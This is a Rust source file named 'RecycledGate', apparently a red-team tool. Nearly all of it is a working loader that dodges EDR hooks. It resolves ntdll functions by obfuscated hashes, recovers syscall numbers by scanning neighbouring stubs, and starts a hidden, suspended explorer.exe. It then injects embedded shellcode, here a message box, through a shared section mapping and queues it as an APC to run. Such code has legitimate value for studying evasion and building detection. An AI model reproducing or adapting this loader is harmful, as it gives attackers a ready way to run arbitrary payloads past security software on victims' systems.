/* 
    RecycledGate Rust version
    Author: @5mukx
*/

#![allow(non_camel_case_types)]
#![allow(non_snake_case)]

use std::ffi::c_void;
use std::mem::transmute;
use std::ptr::{null, null_mut};

use ntapi::ntpebteb::PEB;

use ntapi::ntpsapi::{PsCreateInitialState, PS_ATTRIBUTE, PS_ATTRIBUTE_LIST, PS_CREATE_INFO};
use ntapi::ntrtl::{RtlAllocateHeap, RtlCreateProcessParametersEx, RtlDestroyProcessParameters, RtlFreeHeap, RtlInitUnicodeString, RtlProcessHeap, PRTL_USER_PROCESS_PARAMETERS};
use windows_sys::Wdk::Foundation::OBJECT_ATTRIBUTES64;
use windows_sys::Win32::Foundation::*;
use windows_sys::Win32::System::Diagnostics::Debug::*;
use windows_sys::Win32::System::Kernel::*;
use windows_sys::Win32::System::Memory::*;
use windows_sys::Win32::System::SystemServices::*;
use windows_sys::Win32::System::Threading::*;
// use windows_sys::Win32::System::WindowsProgramming::RtlInitUnicodeString;

const HASH_KEY: u32 = 0x41424344;
const NTDLL_HASH: u32 = 0x6391f6a9;

const NT_CREATE_SECTION_CRYPTHASH: u32 = 0x916c6394;
const NT_MAP_VIEW_OF_SECTION_CRYPTHASH: u32 = 0x625d5a2e;
const NT_QUEUE_APC_THREAD_CRYPTHASH: u32 = 0x9523617c;
const NT_RESUME_THREAD_CRYPTHASH: u32 = 0x6d397e74;
const NT_CREATE_THREAD_EX_CRYPTHASH: u32 = 0x8a4e6274;


// => For NtCreateUserProcess  
const NT_CREATE_USER_PROCESS_HASH: u32 = 0x1ecc061d;


const PS_ATTRIBUTE_IMAGE_NAME: usize = 0x20005;
const RTL_USER_PROC_PARAMS_NORMALIZED: u32 = 0x1;
const STARTF_USESHOWWINDOW: u32 = 0x1;
const SW_HIDE: u32 = 0;


// => continue


const SYS_STUB_SIZE: usize = 32;
const UP: isize = -32;
const DOWN: isize = 32;

// Msg Box Shellcode
pub const SHELLCODE: [u8; 328] = [ 
    0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,
    0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
    0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,
    0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,
    0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
    0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
    0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,
    0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,
    0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,
    0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
    0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
    0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
    0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,
    0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,
    0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,
    0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,
    0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,
    0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,
    0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e,
    0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26,
    0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,
    0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01,
    0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
    0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
    0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73,
    0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e,
    0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73,
    0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00
];


#[repr(C)]
pub struct LDR_DATA_TABLE_ENTRY {
    pub InMemoryOrderLinks: LIST_ENTRY,
    pub InInitializationOrderLinks: LIST_ENTRY,
    pub DllBase: *mut c_void,
    pub EntryPoint: *mut c_void,
    pub SizeOfImage: u32,
    pub FullDllName: UNICODE_STRING,
    pub BaseDllName: UNICODE_STRING,
    pub Flags: u32,
    pub LoadCount: u16,
    pub TlsIndex: u16,
    pub HashLinks: LIST_ENTRY,
    pub TimeDateStamp: u32,
}

#[repr(C)]
pub struct PEB_LDR_DATA {
    pub Length: u32,
    pub Initialized: bool,
    pub SsHandle: *mut c_void,
    pub InLoadOrderModuleList: LIST_ENTRY,
    pub InMemoryOrderModuleList: LIST_ENTRY,
    pub InInitializationOrderModuleList: LIST_ENTRY,
}


#[repr(C)]
pub struct UnicodeString {
    pub length: u16,
    pub maximum_length: u16,
    pub buffer: *mut u16,
}

#[repr(C)]
pub union LARGE_INTEGER {
    pub Anonymous: LARGE_INTEGER_0,
    pub u: LARGE_INTEGER_1,
    pub QuadPart: i64,
}

#[repr(C)]
#[derive(Debug, Copy, Clone)]
pub struct LARGE_INTEGER_0 {
    pub LowPart: u32,
    pub HighPart: i32,
}

#[repr(C)]
#[derive(Debug, Copy, Clone)]
pub struct LARGE_INTEGER_1 {
    pub LowPart: u32,
    pub HighPart: i32,
}

// => NtCreateUserProcess Implemenation structs ! 

#[repr(C)]
pub struct CurDir {
    pub dos_path: UnicodeString,
    pub handle: HANDLE,
}

#[repr(C)]
pub struct RtlDriveLetterCurDir {
    pub flags: u16,
    pub length: u16,
    pub time_stamp: u32,
    pub dos_path: UnicodeString,
}

#[repr(C)]
pub struct RtlUserProcessParameters {
    pub maximum_length: u32,
    pub length: u32,
    pub flags: u32,
    pub debug_flags: u32,
    pub console_handle: HANDLE,
    pub console_flags: u32,
    pub standard_input: HANDLE,
    pub standard_output: HANDLE,
    pub standard_error: HANDLE,
    pub current_directory: CurDir,
    pub dll_path: UnicodeString,
    pub image_path_name: UnicodeString,
    pub command_line: UnicodeString,
    pub environment: *mut u16,
    pub starting_x: u32,
    pub starting_y: u32,
    pub count_x: u32,
    pub count_y: u32,
    pub count_chars_x: u32,
    pub count_chars_y: u32,
    pub fill_attribute: u32,
    pub window_flags: u32,
    pub show_window_flags: u32,
    pub window_title: UnicodeString,
    pub desktop_info: UnicodeString,
    pub shell_info: UnicodeString,
    pub runtime_data: UnicodeString,
    pub current_directories: [RtlDriveLetterCurDir; 0x20],
    pub environment_size: usize,
    pub environment_version: usize,
    pub package_dependency_data: *mut c_void,
    pub process_group_id: u32,
    pub loader_threads: u32,
    pub redirection_dll_name: UnicodeString,
    pub heap_partition_name: UnicodeString,
    pub default_threadpool_cpu_set_masks: usize,
    pub default_threadpool_cpu_set_mask_count: u32,
    pub default_threadpool_security_health_mask: u32,
}

/// => Syscall call struct implementation !


#[repr(C)]
pub struct Syscall {
    pub syscall_nr: u32,
    pub recycled_gate: *mut c_void,
}

unsafe extern "C" {
    fn PrepareSyscall(syscall_nr: u32, gate: *mut c_void);
    fn DoSyscall();
}


type NtCreateSectionFn = fn(*mut HANDLE, u32, *const OBJECT_ATTRIBUTES64, *const LARGE_INTEGER, u32, u32, HANDLE) -> i32;
type NtMapViewOfSectionFn = fn(HANDLE, HANDLE, *mut *mut c_void, usize, usize, *const LARGE_INTEGER, *mut usize, u32, u32, u32) -> i32;

type NtQueueApcThreadFn = fn(HANDLE, *mut c_void, *mut c_void, *mut c_void, *mut c_void) -> i32;
type NtResumeThreadFn = fn(HANDLE, *mut u32) -> i32;

// NtCreateUserProcess Implemenation ! 
type NtCreateUserProcessFn = unsafe extern "C" fn(
    *mut HANDLE,
    *mut HANDLE,
    u32,
    u32,
    *mut OBJECT_ATTRIBUTES64,
    *mut OBJECT_ATTRIBUTES64,
    u32,
    u32,
    *mut c_void,
    *mut PS_CREATE_INFO,
    *mut PS_ATTRIBUTE_LIST,
) -> i32;


fn djb2(str_bytes: &[u8]) -> u32 {
    let mut hash: u32 = 5381;
    for &c in str_bytes {
        hash = ((hash << 5).wrapping_add(hash)).wrapping_add(c as u32);
    }
    hash
}

fn djb2_unicode_lower(str_ptr: *const u16, len: usize) -> u32 {
    let mut hash: u32 = 5381;
    let slice = unsafe { std::slice::from_raw_parts(str_ptr, len) };
    for &wc in slice {
        let mut val = wc as u32;
        if val >= 'A' as u32 && val <= 'Z' as u32 {
            val += 32;
        }
        hash = ((hash << 5).wrapping_add(hash)).wrapping_add(val);
    }
    hash
}

fn xor_hash(hash: u32) -> u32{ 
    hash ^ HASH_KEY
}

#[inline]
#[cfg(target_pointer_width = "64")]

fn get_peb(_value: i32) ->  *const PEB{
    unsafe {
        let mut peb: *const PEB;
        std::arch::asm!(
            "mov {}, gs:[0x60]",
            out(reg) peb,
            options(nostack, nomem, preserves_flags)
        );

        peb
    }
}


fn find_ntdll() -> *mut c_void {
        
    let peb_ptr: *mut PEB = get_peb(0x60) as *mut PEB;

    if peb_ptr.is_null(){
        println!("[+] PEB error.");
        return null_mut();
    }

    let ldr = unsafe {
        (*peb_ptr).Ldr
    };

    if ldr.is_null(){
        println!("[+] Ldr is null. Check again");
        return null_mut();
    }

    let mut module_entry = unsafe {
        (*ldr).InMemoryOrderModuleList.Flink as *mut LDR_DATA_TABLE_ENTRY
    };


    let module_start = module_entry;

    loop {
        let base_dll_name = unsafe { &(*module_entry).BaseDllName };

        if base_dll_name.Buffer.is_null() {
            println!("[-] Dll Name is null");
            return null_mut();
        }



        let name_len = (base_dll_name.Length / 2) as usize;
        if djb2_unicode_lower(base_dll_name.Buffer, name_len) == xor_hash(NTDLL_HASH) {
            return unsafe { (*module_entry).DllBase as *mut c_void };
        }


        module_entry = unsafe { (*module_entry).InMemoryOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY };
        if module_entry == module_start {
            break;
        }
    }



    null_mut()
}


// #[allow(unused_assignments)]
fn get_syscall(crypted_hash: u32, syscall: &mut Syscall) -> bool {

    let ntdll_base = find_ntdll();

    if ntdll_base.is_null(){
        println!("[-] NTDll Base is null");
        return false;
    }

    let dos_header = ntdll_base as *const IMAGE_DOS_HEADER;

    let nt_headers = unsafe { (ntdll_base.add((*dos_header).e_lfanew as usize)) as *const IMAGE_NT_HEADERS64 };

    let export_dir_rva = unsafe { (*nt_headers).OptionalHeader.DataDirectory[0].VirtualAddress };

    let export_dir = (ntdll_base as usize + export_dir_rva as usize) as *const IMAGE_EXPORT_DIRECTORY;

    let addr_of_functions = (ntdll_base as usize + unsafe { (*export_dir).AddressOfFunctions } as usize) as *const u32;

    let addr_of_names = (ntdll_base as usize + unsafe { (*export_dir).AddressOfNames } as usize) as *const u32;

    let addr_of_name_ordinals = (ntdll_base as usize + unsafe { (*export_dir).AddressOfNameOrdinals } as usize) as *const u16;

    let mut stub: *mut c_void = null_mut();

    for i in 0..unsafe { (*export_dir).NumberOfNames } {

        let name_rva = unsafe { *addr_of_names.add(i as usize) };
        let name_ptr = (ntdll_base as usize + name_rva as usize) as *const i8;
        let name = unsafe { std::ffi::CStr::from_ptr(name_ptr).to_bytes() };
        
        if djb2(name) == xor_hash(crypted_hash) {
            let ordinal = unsafe { *addr_of_name_ordinals.add(i as usize) } as usize;
            let func_rva = unsafe { *addr_of_functions.add(ordinal) };

            stub = (ntdll_base as usize + func_rva as usize) as *mut c_void;
            
            break;
        }
    }

    if stub.is_null(){
        println!("[-] Syscall StUb is null");
        return false;
    }

    let mut syscall_nr: u32 = 0;
    let mut hooked = false;

    let stub_bytes = unsafe { std::slice::from_raw_parts(stub as *const u8, SYS_STUB_SIZE) };

    for (idx, &byte) in stub_bytes.iter().enumerate() {
        if byte == 0xe9 {
            hooked = true;
            break;
        }
        if byte == 0xc3 {
            return false;
        }

        if byte == 0x4c && stub_bytes[idx + 1] == 0x8b && stub_bytes[idx + 2] == 0xd1 &&
           stub_bytes[idx + 3] == 0xb8 && stub_bytes[idx + 6] == 0x00 && stub_bytes[idx + 7] == 0x00 {
            let low = stub_bytes[idx + 4];
            let high = stub_bytes[idx + 5];
            syscall_nr = ((high as u32) << 8) | (low as u32);
            break;
        }
    }

    let mut gate_stub = stub;

    if hooked {
        let num_functions = unsafe { (*export_dir).NumberOfFunctions } as isize;
        let mut found = false;
        for offset in 1..=num_functions {
            let down_addr = (stub as isize + offset * DOWN) as *const u8;
            let up_addr = (stub as isize + offset * UP) as *const u8;
            
            if let Some(down_bytes) = safe_slice(down_addr, 8, ntdll_base, unsafe { addr_of_functions.add(( (*export_dir).NumberOfFunctions  - 1) as usize ) })  {
                if down_bytes[0] == 0x4c && down_bytes[1] == 0x8b && down_bytes[2] == 0xd1 &&
                   down_bytes[3] == 0xb8 && down_bytes[6] == 0x00 && down_bytes[7] == 0x00 {
                    let high = down_bytes[5];
                    let low = down_bytes[4];
                    syscall_nr = (((high as u32) << 8) | (low as u32)).wrapping_sub(offset as u32);
                    gate_stub = (stub as isize + offset * DOWN) as *mut c_void;
                    found = true;
                    break;
                }
            }

            if let Some(up_bytes) = safe_slice(up_addr, 8, ntdll_base, unsafe  {addr_of_functions.add(0) }) {
                if up_bytes[0] == 0x4c && up_bytes[1] == 0x8b && up_bytes[2] == 0xd1 &&
                   up_bytes[3] == 0xb8 && up_bytes[6] == 0x00 && up_bytes[7] == 0x00 {
                    let high = up_bytes[5];
                    let low = up_bytes[4];
                    syscall_nr = (((high as u32) << 8) | (low as u32)).wrapping_add(offset as u32);
                    gate_stub = (stub as isize + offset * UP) as *mut c_void;
                    found = true;
                    break;
                }
            }
        }
        if !found {
            println!("[-] Unable to find");
            return false;
        }
    }

    let gate_bytes = unsafe { std::slice::from_raw_parts(gate_stub as *const u8, SYS_STUB_SIZE) };

    let mut gate: *mut c_void = null_mut();

    for (idx, &byte) in gate_bytes.iter().enumerate() {
        if byte == 0x0f && gate_bytes[idx + 1] == 0x05 && gate_bytes[idx + 2] == 0xc3 {
            gate = (gate_stub as usize + idx) as *mut c_void;
            break;
        }
    }

    if gate.is_null() || syscall_nr == 0 {
        println!("[-] Gate is null !");
        return false;
    }

    syscall.syscall_nr = syscall_nr;
    syscall.recycled_gate = gate;

    true
}


fn safe_slice<'a>(ptr: *const u8, len: usize, base: *mut c_void, boundary: *const u32) -> Option<&'a [u8]> {
    let base_usize = base as usize;
    let ptr_usize = ptr as usize;
    let boundary_usize = boundary as usize;
    if ptr_usize >= base_usize && ptr_usize + len <= boundary_usize + 4 { // +4 for u32
        Some(unsafe { std::slice::from_raw_parts(ptr, len) })
    } else {
        None
    }
}

// NtCreateUserProcess !! ->

fn create_suspend_process() -> Result<(HANDLE, HANDLE), i32> {

    unsafe {

        let path_str = r"\??\C:\Windows\explorer.exe";

        let path_wide: Vec<u16> = path_str.encode_utf16().chain(std::iter::once(0)).collect();

        let mut nt_image_path: ntapi::winapi::shared::ntdef::UNICODE_STRING = std::mem::zeroed();

        RtlInitUnicodeString(&mut nt_image_path, path_wide.as_ptr());

        let mut command_line: ntapi::winapi::shared::ntdef::UNICODE_STRING = std::mem::zeroed();
        RtlInitUnicodeString(&mut command_line, path_wide.as_ptr());

        let mut process_parameters: *mut ntapi::ntrtl::RTL_USER_PROCESS_PARAMETERS = null_mut();
        
        let status = RtlCreateProcessParametersEx(
            &mut process_parameters,
            &mut nt_image_path,
            null_mut(),
            null_mut(),
            &mut command_line,
            null_mut(),
            null_mut(),
            null_mut(),
            null_mut(),
            null_mut(),
            RTL_USER_PROC_PARAMS_NORMALIZED,
        );

        if status < 0 {
            return Err(status);
        }

        println!("[+] Created Process parameter");
        
        // Set startup flags for hidden window
        (*process_parameters).WindowFlags |= STARTF_USESHOWWINDOW;
        (*process_parameters).ShowWindowFlags = SW_HIDE;

        let mut create_info: PS_CREATE_INFO = std::mem::zeroed();

        create_info.Size = std::mem::size_of::<PS_CREATE_INFO>();
        create_info.State = PsCreateInitialState;

        let attribute_list = RtlAllocateHeap(
            RtlProcessHeap(),
            0x00000008,// HEAP_ZERO_MEMORY,
            std::mem::size_of::<PS_ATTRIBUTE_LIST>(),
        ) as *mut PS_ATTRIBUTE_LIST;


        if attribute_list.is_null() {
            RtlDestroyProcessParameters(process_parameters as PRTL_USER_PROCESS_PARAMETERS);
            return Err(-1);
        }   

        println!("[*] Attribute List: {:?}", attribute_list);

        (*attribute_list).TotalLength = std::mem::size_of::<PS_ATTRIBUTE_LIST>();

        std::ptr::write_bytes(&mut (*attribute_list).Attributes[0], 0, 1);

        (*attribute_list).Attributes[0] = PS_ATTRIBUTE {
            Attribute: PS_ATTRIBUTE_IMAGE_NAME,
            Size: nt_image_path.Length as usize,
            u: ntapi::ntpsapi::PS_ATTRIBUTE_u { ValuePtr: nt_image_path.Buffer.cast() },
            ReturnLength: null_mut(),
        };

        let mut sys_nt_create_user_process = Syscall { syscall_nr: 0, recycled_gate: null_mut() };

        if !get_syscall(NT_CREATE_USER_PROCESS_HASH, &mut sys_nt_create_user_process) {
            RtlFreeHeap(RtlProcessHeap(), 0, attribute_list as *mut _);
            RtlDestroyProcessParameters(process_parameters);
            return Err(-1);
        }

        println!("[+] NtCreateUserProcess Syscall Resolved: 0x{:x} - {:?}", sys_nt_create_user_process.syscall_nr, sys_nt_create_user_process.recycled_gate);
        // create process parameters

        let mut h_process: HANDLE = null_mut();
        let mut h_thread: HANDLE = null_mut();

        let nt_create_user_process: NtCreateUserProcessFn = transmute(DoSyscall as *const ());

        PrepareSyscall(sys_nt_create_user_process.syscall_nr, sys_nt_create_user_process.recycled_gate);

        let nt_status = (nt_create_user_process)(
            &mut h_process,
            &mut h_thread,
            PROCESS_ALL_ACCESS,
            THREAD_ALL_ACCESS,
            null_mut(),
            null_mut(),
            0,
            1,
            process_parameters as *mut c_void,
            &mut create_info,
            attribute_list,
        );

        RtlFreeHeap(RtlProcessHeap(), 0, attribute_list as *mut _);
        RtlDestroyProcessParameters(process_parameters);

        if nt_status < 0 {
            println!("[-] Unable to Resolve NtCreateUserProcess Error");
            // std::process::exit(0);
            return Err(nt_status);
        }


        println!("[i] NtCreateUserProcess Success");

        
        // std::process::exit(0);

        Ok((h_process, h_thread))
    }
}
    
fn main() -> std::io::Result<()> {
    
    // let mut nt_craete_file_sys = Syscall { syscall_nr: 0, recycled_gate: null_mut() };

    let mut nt_create_section_sys = Syscall { syscall_nr: 0, recycled_gate: null_mut() };
    let mut nt_map_view_of_section_sys = Syscall { syscall_nr: 0, recycled_gate: null_mut() };
    let mut nt_queue_apc_thread_sys = Syscall { syscall_nr: 0, recycled_gate: null_mut() };
    let mut nt_resume_thread_sys = Syscall { syscall_nr: 0, recycled_gate: null_mut() };

    let mut nt_create_thread_ex = Syscall {syscall_nr: 0, recycled_gate: null_mut() }; 
    
    // you can add additional apis like nt_create_thread_ex_sys

    println!("[+] Start function: get_syscall");

    
    if !get_syscall(NT_CREATE_SECTION_CRYPTHASH, &mut nt_create_section_sys) {
        eprintln!("[-] Failed to resolve NtCreateSection");
        return Ok(());
    }

    println!("[+] NtCreateSection Syscall Resolved: 0x{:x} - {:?}", nt_create_section_sys.syscall_nr, nt_create_section_sys.recycled_gate);

    if !get_syscall(NT_MAP_VIEW_OF_SECTION_CRYPTHASH, &mut nt_map_view_of_section_sys) {
        eprintln!("[-] Failed to resolve NtMapViewOfSection");
        return Ok(());
    }

    println!("[+] NtMapViewOfSection Syscall Resolved: 0x{:x} - {:?}", nt_map_view_of_section_sys.syscall_nr, nt_map_view_of_section_sys.recycled_gate);


    if !get_syscall(NT_QUEUE_APC_THREAD_CRYPTHASH, &mut nt_queue_apc_thread_sys) {
        eprintln!("Failed to resolve NtQueueApcThread");
        return Ok(());
    }


    println!("[+] NtQueueApcThread Syscall Resolved: 0x{:x} - {:?}", nt_queue_apc_thread_sys.syscall_nr, nt_queue_apc_thread_sys.recycled_gate);


    if !get_syscall(NT_RESUME_THREAD_CRYPTHASH, &mut nt_resume_thread_sys) {
        eprintln!("Failed to resolve NtResumeThread");
        return Ok(());
    }

    println!("[+] NtResumeThread Syscall Resolved: 0x{:x} - {:?}", nt_resume_thread_sys.syscall_nr, nt_resume_thread_sys.recycled_gate);


    if !get_syscall(NT_CREATE_THREAD_EX_CRYPTHASH, &mut nt_create_thread_ex) {
        eprintln!("Failed to resolve NtResumeThread");
        return Ok(());
    }

    println!("[+] NtCreateThreadEx Syscall Resolved: 0x{:x} - {:?}", nt_create_thread_ex.syscall_nr, nt_create_thread_ex.recycled_gate);


    let (h_process, h_thread) = match create_suspend_process(){
        Ok(handles) => handles,
        Err(status) => {
            eprintln!("Failed to create suspended process : 0x{:x}", status);
            return Ok(());
        }
    };

    let mut section_handle: HANDLE = INVALID_HANDLE_VALUE;
    let mut section_size = SHELLCODE.len() as usize;
    let large_size = LARGE_INTEGER { QuadPart: section_size as i64 };



    // let mut si: STARTUPINFOA = unsafe { std::mem::zeroed() };
    // let mut pi: PROCESS_INFORMATION = unsafe { std::mem::zeroed() };
    // si.cb = std::mem::size_of::<STARTUPINFOA>() as u32;
    // si.dwFlags = STARTF_USESHOWWINDOW;

    // si.wShowWindow = 0 as u16;



    // let success = unsafe {
    //     CreateProcessA(
    //         b"C:\\Windows\\explorer.exe\0".as_ptr(),
    //         null_mut(),
    //         null_mut(),
    //         null_mut(),
    //         0,
    //         CREATE_SUSPENDED,
    //         null_mut(),
    //         null_mut(),
    //         &si,
    //         &mut pi,
    //     )
    // };


    // if success == 0 {
    //     eprintln!("Failed to create suspended process");
    //     return Ok(());
    // }

    // println!("[+] CreateProcessA Success");

    // let mut section_handle: HANDLE = INVALID_HANDLE_VALUE;
    // let section_size = SHELLCODE.len();
    // let large_size = LARGE_INTEGER { QuadPart: section_size as i64 };

    
    let nt_create_section: NtCreateSectionFn = unsafe { transmute(DoSyscall as *const ()) };

    unsafe { PrepareSyscall(nt_create_section_sys.syscall_nr, nt_create_section_sys.recycled_gate); }
    
    let nt_status = nt_create_section(
        &mut section_handle,
        SECTION_ALL_ACCESS,
        null(),
        &large_size,
        PAGE_EXECUTE_READWRITE,
        SEC_COMMIT,
        null_mut(),
    );

    if nt_status < 0 {
        eprintln!("NtCreateSection failed: 0x{:x}", nt_status);
        unsafe { CloseHandle(h_process); CloseHandle(h_thread); }
        return Ok(());
    }

    println!("[+] NtCreateSection Success");

    let mut local_view: *mut c_void = null_mut();
    let mut remote_view: *mut c_void = null_mut();

    let mut view_size = section_size;

    let nt_map_view_of_section: NtMapViewOfSectionFn = unsafe { transmute(DoSyscall as *const ()) };
    unsafe { PrepareSyscall(nt_map_view_of_section_sys.syscall_nr, nt_map_view_of_section_sys.recycled_gate); }

    let nt_status = unsafe {
        nt_map_view_of_section(
            section_handle,
            GetCurrentProcess(),
            &mut local_view,
            0,
            0,
            null(),
            &mut view_size,
            2,
            0,
            PAGE_READWRITE,
        )
    };

    if nt_status < 0 {
        eprintln!("NtMapViewOfSection local failed: 0x{:x}", nt_status);
        unsafe { CloseHandle(h_process); CloseHandle(h_thread); CloseHandle(section_handle); }
        return Ok(());
    }

    println!("[+] NtMapViewOfSection [1] Success");


    // view_size = section_size;

    unsafe { PrepareSyscall(nt_map_view_of_section_sys.syscall_nr, nt_map_view_of_section_sys.recycled_gate); }
    let nt_status = nt_map_view_of_section(
        section_handle,
        h_process,
        &mut remote_view,
        0,
        0,
        null(),
        &mut section_size,
        2,
        0,
        PAGE_EXECUTE_READ,
    );

    if nt_status < 0 {
        eprintln!("NtMapViewOfSection remote failed: 0x{:x}", nt_status);
        unsafe { CloseHandle(h_process); CloseHandle(h_thread); CloseHandle(section_handle); }
        return Ok(());
    }

    println!("[+] NtMapViewOfSection [2] Success");


    unsafe {
        std::ptr::copy_nonoverlapping(SHELLCODE.as_ptr() as *const c_void, local_view, SHELLCODE.len());
    }
    
    
    let nt_queue_apc_thread: NtQueueApcThreadFn = unsafe { transmute(DoSyscall as *const ()) };

    unsafe { PrepareSyscall(nt_queue_apc_thread_sys.syscall_nr, nt_queue_apc_thread_sys.recycled_gate); }
   
    let nt_status = nt_queue_apc_thread(h_thread, remote_view, remote_view, null_mut(), null_mut());
    
    if nt_status < 0 {
        eprintln!("NtQueueApcThread failed: 0x{:x}", nt_status);
        unsafe { CloseHandle(h_process); CloseHandle(h_thread); CloseHandle(section_handle); }
        return Ok(());
    }

    println!("[+] NtQueueApcThread Success");

    let nt_resume_thread: NtResumeThreadFn = unsafe { transmute(DoSyscall as *const ()) };

    unsafe { PrepareSyscall(nt_resume_thread_sys.syscall_nr, nt_resume_thread_sys.recycled_gate); }

    let nt_status = nt_resume_thread(h_thread, null_mut());
    
    if nt_status < 0 {
        eprintln!("NtResumeThread failed: 0x{:x}", nt_status);
        unsafe { CloseHandle(h_process); CloseHandle(h_thread); CloseHandle(section_handle); }
        return Ok(());
    }

    println!("[+] NtResumeThread Success");



    unsafe { 
        CloseHandle(h_process); CloseHandle(h_thread); CloseHandle(section_handle); 
    }

    println!("[+] Shellcode injected and executed via recycled syscalls.");
    Ok(())
}